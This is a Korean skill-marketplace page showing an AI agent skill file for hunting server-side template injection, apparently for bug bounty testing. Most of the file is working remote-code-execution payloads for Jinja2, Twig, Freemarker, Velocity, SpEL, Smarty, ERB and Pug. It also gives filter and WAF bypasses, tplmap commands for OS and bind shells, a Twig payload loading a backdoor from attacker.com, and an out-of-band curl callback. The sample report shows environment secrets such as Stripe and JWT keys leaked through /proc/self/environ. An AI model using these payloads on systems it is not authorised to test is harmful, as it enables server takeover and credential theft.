본문으로 건너뛰기
cccskills
무료GitHub에 공개

ssti

Hunt Server-Side Template Injection (SSTI) in Jinja2, Twig, Freemarker, Velocity, Smarty, ERB, Handlebars, Mustache, and Spring (SpEL). Use when input is reflected in a way that suggests template rendering — error pages, email templates, PDF generators, dynamic content systems.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구Stripe
설치 방법 보기

포함된 파일(1)

  • SKILL.md9.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Server-Side Template Injection (SSTI)

Reflects {{7*7}} as 49 → likely RCE coming.

When to invoke

Trigger phrases:

  • "test SSTI"
  • "template injection"
  • "Jinja2 RCE"
  • "Twig SSTI"
  • "Freemarker injection"

SSTI detection table

Send each probe and inspect the rendered output. If math is evaluated, SSTI is likely.

EngineDetection probeMath output
Jinja2 (Python/Flask/Django){{7*7}}49
Twig (PHP/Symfony){{7*7}}49
Mako (Python)${7*7}49
Velocity (Java)#set($x=7*7)$x49
Freemarker (Java)${7*7}49
Spring SpEL${7*7} or T(java.lang.Math).pow(7,7)49
Smarty (PHP){7*7}49
Handlebars (JS){{7*7}}usually NOT evaluated (uses helpers)
ERB (Ruby/Rails)<%= 7*7 %>49
Pug (JS)#{7*7}49
Razor (.NET)@(7*7)49
Liquid (Shopify/Jekyll){{ 'a' | times:7 }}aaaaaaa

Universal poly-probe (gets evaluated by most engines):

${{<%[%'"}}%\

If the response shows any error / partial render → suspect SSTI.

Step-by-Step Workflow

1. Identify candidate sinks

Inputs likely to flow into templates:

  • Personalization fields (greeting "Hello, USER")
  • Email subject / body editors
  • Notification message customization
  • PDF / invoice templates (you set company name → renders)
  • Slack/Discord message templates
  • Custom domain branding (logo URL, theme color, footer)
  • Order confirmation templates
  • Error messages that include user input ("Sorry, USER, page not found")
  • "Preview" features
  • Markdown extensions / custom tags

2. Confirm engine

If {{7*7}} returns 49, narrow further:

# Jinja2 vs Twig (both render {{7*7}} = 49)
# Test Jinja2-specific:
{{7*'7'}}      → Jinja2: '7777777'  | Twig: 49
{{config}}     → Jinja2: <Config {...}> | Twig: error

# Velocity (Java) vs Freemarker
${7*7}                  → both render 49
#set($x=7*7)$x          → Velocity-only
<#assign x=7*7>${x}     → Freemarker-only

3. Engine-specific payloads (escalation to RCE)

Jinja2 (Python — Flask, Django, Ansible)

# Probe object access
{{config}}                                                    # Flask config dump
{{config.items()}}
{{request}}
{{self}}
{{self.__class__}}
{{self.__class__.__mro__}}

# Classic RCE chain (subclasses)
{{''.__class__.__mro__[2].__subclasses__()}}
# Find <class 'subprocess.Popen'> index, e.g. 408:
{{''.__class__.__mro__[2].__subclasses__()[408]('id', shell=True, stdout=-1).communicate()[0]}}

# More portable (works across Python versions)
{{''.__class__.__base__.__subclasses__()}}
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read() }}

# Universal RCE (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Bypass {} blocked (use {% %})
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{% endif %}{% endfor %}

# Bypass dot blocked (use [])
{{ ''['__class__'] }}
{{ request['__class__'] }}

# Bypass __ blocked (Hex/Unicode)
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
{{ ''|attr('_class__') }}
{{ request|attr("class") }}    # using |attr filter

Twig (PHP — Symfony, Drupal 8+)

# Probe
{{_self}}
{{_self.env}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# RCE via filter
{{_self.env.setCache("ftp://attacker.com:2121")}}{{_self.env.loadTemplate("backdoor")}}

# Twig 1.x
{{["id"]|filter("system")}}

# Twig 2.x / 3.x (sandboxed)
{{["id"]|map("system")|join}}

Freemarker (Java — old versions)

${"freemarker.template.utility.Execute"?new()("id")}

# Newer versions (sandbox)
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

Velocity (Java)

#set($x="")
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))
#set($str=$x.class.forName("java.lang.String"))
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Spring SpEL (Java)

${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","id"})}

# Or via complex chain
${new org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression("T(java.lang.Runtime).getRuntime().exec('id')").getValue()}

Smarty (PHP)

{php}echo `id`;{/php}                  # Smarty 2.x
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",self::clearConfig())}  # Smarty 3

ERB (Ruby — Rails)

<%= `id` %>
<%= system("id") %>
<%= Kernel.exec("id") %>
<%= IO.popen("id").read %>

Pug (JavaScript)

#{root.process.mainModule.require('child_process').spawnSync('id').stdout}

4. tplmap (automation)

git clone https://github.com/epinna/tplmap
cd tplmap
pip install -r requirements.txt

# Auto-detect + exploit
python tplmap.py -u "https://target.com/page?name=test"

# POST
python tplmap.py -u "https://target.com/page" --data "name=test"

# Get OS shell
python tplmap.py -u "URL" --os-shell

# Bind shell
python tplmap.py -u "URL" --bind-shell 4444

5. Blind SSTI

If no reflection, use OOB or time-based:

# Jinja2 blind via OOB
{{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('curl http://your-interactsh.oast.fun/').read() }}

# Time-based
{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('sleep 5').read()}}

6. Common WAF bypasses

# Jinja2 — {{ blocked
{% for x in [].__class__.__base__.__subclasses__() %}{{ x }}{% endfor %}

# {{ encoded
%7B%7B7*7%7D%7D

# Unicode
{{7*7}}

# Using request.args directly
{{ request.args.q | safe }}    # if q in URL becomes the payload

# Dot/Bracket alternation
{{ ''.__class__.__mro__[1].__subclasses__() }}      # blocked
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}    # bracket form
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1) }}    # filter form

Detection script (multi-engine)

#!/bin/bash
URL="$1"
PARAM="$2"

PROBES=(
    "{{7*7}}"
    "\${7*7}"
    "<%= 7*7 %>"
    "#set(\$x=7*7)\$x"
    "{7*7}"
    "@(7*7)"
    "#{7*7}"
)

for p in "${PROBES[@]}"; do
    encoded=$(echo -n "$p" | jq -sRr @uri)
    response=$(curl -s "${URL}?${PARAM}=${encoded}")
    if echo "$response" | grep -q "49"; then
        echo "[SSTI?] $p worked: $URL"
    fi
done

Output template

## Critical: SSTI (Jinja2) in welcome-email template → RCE

### Summary
The "personalized welcome email" preview feature renders user-supplied input through a Jinja2 template without sandboxing. Authenticated users can achieve arbitrary code execution on the application server.

### Steps to reproduce
1. Log in as any user
2. Navigate to Settings → Email templates → Welcome email
3. Set "greeting" to:

{{ ''.class.mro[1].subclasses()[408].init.globals['os'].popen('id').read() }}

4. Click "Preview"
5. The preview area renders:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


### Verification
- Tested commands: `id`, `whoami`, `cat /etc/hostname`, `cat /proc/self/environ`
- /proc/self/environ leaked env vars including:
- `DATABASE_URL` (RDS connection string)
- `STRIPE_SECRET_KEY`
- `JWT_SIGNING_KEY`

### Impact
- Arbitrary code execution as `www-data` on production hosts
- Lateral movement to RDS, Stripe API (with disclosed keys)
- Persistence possible via cron / web shell

### Suggested fix
1. Switch to a sandbox template engine (Jinja2 SandboxedEnvironment)
2. OR escape user input before template rendering (treat as data, not template)
3. Rotate exposed credentials (Stripe, DB)

Cross-references

  • [[xss]] — sometimes SSTI manifests as XSS first
  • [[file-upload]] — uploaded files may be rendered as templates
  • [[content-discovery]] — finds template-using endpoints
  • [[cloud-misconfig]] — RCE on cloud = pivot to cloud takeover

Common pitfalls

  1. Confusing client-side template (Handlebars in browser) with server-side. Client-side doesn't pay.
  2. Testing {{7*7}} and getting 49 rendered as text doesn't always mean SSTI — could be a different reason for echo. Verify with {{7*'7'}} (string repetition).
  3. Sandboxed engines (Twig 2/3, Jinja2 SandboxedEnvironment) look like SSTI but won't RCE. Still worth reporting if data leakage possible.
  4. Reporting {{7*7}}=49 without RCE attempt. Some programs accept it as critical, most want RCE proof.
  5. Not noting the engine in the report. Triagers struggle without engine name.

Engine fingerprinting cheat

Render of ${{<%[%'"}}%\Engine
Renders as-isNo SSTI
Error mentioning "Twig"Twig
Error mentioning "Jinja"Jinja2
Error mentioning "Velocity" or "Freemarker"Java
Error mentioning "Smarty"Smarty
500 with no infoTry engine-specific probes

arsenal/ssti-payloads/

Pre-built payload sets per engine — see arsenal/ssti-payloads/:

  • jinja2.txt
  • twig.txt
  • freemarker.txt
  • velocity.txt
  • spel.txt
  • smarty.txt
  • erb.txt
  • multi-engine-polyglots.txt

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

SubhiSec/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

SubhiSec/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

SubhiSec/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

SubhiSec/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

SubhiSec/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

SubhiSec/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

SubhiSec의 스킬 모두 보기

이 스킬의 문제 신고